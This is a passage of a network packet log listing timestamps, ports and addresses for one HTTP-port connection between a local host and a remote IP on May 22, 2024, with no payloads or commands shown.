May 22, 2024 20:06:32.916110039 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.916134119 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.916152000 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.916188955 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.916255951 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.916304111 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.916318893 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.916363955 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.916408062 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.916429043 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.916461945 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.916492939 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.916538000 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.916575909 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.916596889 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.916618109 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.916665077 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.916685104 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.916737080 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.916750908 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.916793108 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.916825056 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.916843891 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.959614992 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.959709883 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.959765911 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.959816933 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.959849119 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.959989071 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.960019112 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.960019112 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.960066080 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.960110903 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.960156918 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.960239887 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.960239887 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.960239887 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.960400105 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.960447073 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.960499048 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.960511923 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.960547924 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.960577965 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.960978031 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.961024046 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.961045027 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.961086035 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.961137056 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.961150885 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.961184978 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.961211920 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.961257935 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.961308002 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.961322069 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.961364031 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.961412907 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.961796045 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.961850882 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.962004900 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.962049961 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.962100983 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.962115049 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.962157965 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.962208986 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.962222099 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.962256908 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.962282896 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.962327003 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.962379932 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.962393999 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.962918043 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.962939024 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.962979078 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.962996960 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.963006973 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.963026047 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.963043928 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.963053942 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.963069916 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.963083029 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.963092089 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.963108063 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.963121891 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.963136911 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.963145971 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.963174105 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.963835001 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.963855028 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.963874102 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.963892937 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.963901043 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.963918924 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.963936090 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.963944912 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.963963032 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.963968992 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.963987112 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.964000940 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.964036942 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.964860916 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.964879036 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.964900017 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.964910030 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.964926958 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.964936018 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.964951992 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.964962959 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.964973927 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.964989901 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.964999914 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.965017080 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.965030909 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.965043068 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.965053082 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.965080023 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.965691090 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.965708971 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.965729952 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.965749979 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.965759039 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.965775967 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.965785027 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.965801001 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.965818882 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.965827942 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.965847015 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.965859890 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.965878963 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.966562033 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.966582060 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.966602087 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.966622114 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.966630936 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.966646910 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.966686010 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.966753006 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.966923952 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.966941118 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.966986895 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.967051029 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.000220060 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.000257969 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.000281096 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.000351906 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.000412941 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.000412941 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.000442982 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.000471115 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.000489950 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.000535965 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.001826048 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.001873970 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.001933098 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.002429962 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.002505064 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.002547979 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.002599001 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.002654076 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.002681017 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.002759933 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.002820969 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.002950907 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.003000021 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.003017902 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.003062963 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.003112078 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.003353119 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.003398895 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.003451109 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.003463984 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.003498077 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.003526926 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.003571033 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.003623009 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.003637075 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.003678083 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.003730059 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.003745079 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.003783941 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.004194975 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.004240990 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.004286051 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.004309893 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.004333019 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.004362106 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.004807949 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.004861116 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.004873991 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.004914999 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.004966974 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.004981041 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.005013943 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.005040884 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.005085945 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.005139112 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.005152941 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.005193949 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.005244017 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.005625010 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.005673885 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.005701065 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.005726099 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.005754948 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.005804062 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.005867004 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.005916119 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.005932093 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.005980968 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.049165010 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.049303055 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.050523043 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.050589085 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.050616026 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.050662994 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.050735950 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.050755024 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.050812006 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.050827026 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.050870895 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.050916910 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.050941944 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.050960064 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.050997019 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.051352024 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.051399946 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.051424980 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.051455021 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.051481009 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.051526070 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.051547050 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.051587105 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.051632881 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.051662922 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.051695108 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.051722050 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.051743984 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.052274942 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.052321911 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.052347898 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.052366018 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.052402020 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.052447081 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.052469969 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.052495003 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.052525043 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.052571058 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.052597046 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.052623034 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.052653074 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.052707911 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.052721977 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.052767038 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.052962065 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.053009033 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.053034067 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.053066969 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.053090096 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.053136110 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.053155899 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.053205967 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.053219080 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.053265095 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.053503036 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.053580046 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.053638935 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.053692102 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.053705931 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.053744078 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.053766012 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.053819895 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.053833961 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.053872108 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.053893089 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.053946018 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.053958893 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.053997993 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.054018974 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.054069996 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.054513931 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.054569960 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.054584026 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.054622889 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.054645061 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.054708958 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.054723024 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.054761887 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.054781914 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.054845095 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.054860115 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.054899931 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.054918051 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.054963112 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.055022001 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.055383921 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.055428982 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.055474043 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.055527925 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.055555105 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.055584908 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.055632114 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.055664062 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.055699110 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.055722952 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.055761099 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.056235075 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.056282997 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.056327105 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.056366920 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.056407928 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.056426048 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.056461096 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.056504965 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.056526899 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.056565046 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.056587934 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.056639910 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.056653976 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.056695938 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.056749105 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.056930065 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.056977987 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.057020903 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.057041883 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.057079077 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.057102919 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.057147980 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.057195902 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.057216883 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.057257891 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.057308912 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.057322025 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.057359934 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.088620901 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.088658094 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.088685036 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.088694096 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.088707924 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.088738918 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.088792086 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.088814020 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.088834047 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.088862896 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.088900089 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.091348886 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.091419935 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.091464996 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.091521025 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.091559887 CEST	49708	80	192.168.2.6	185.172.128.82
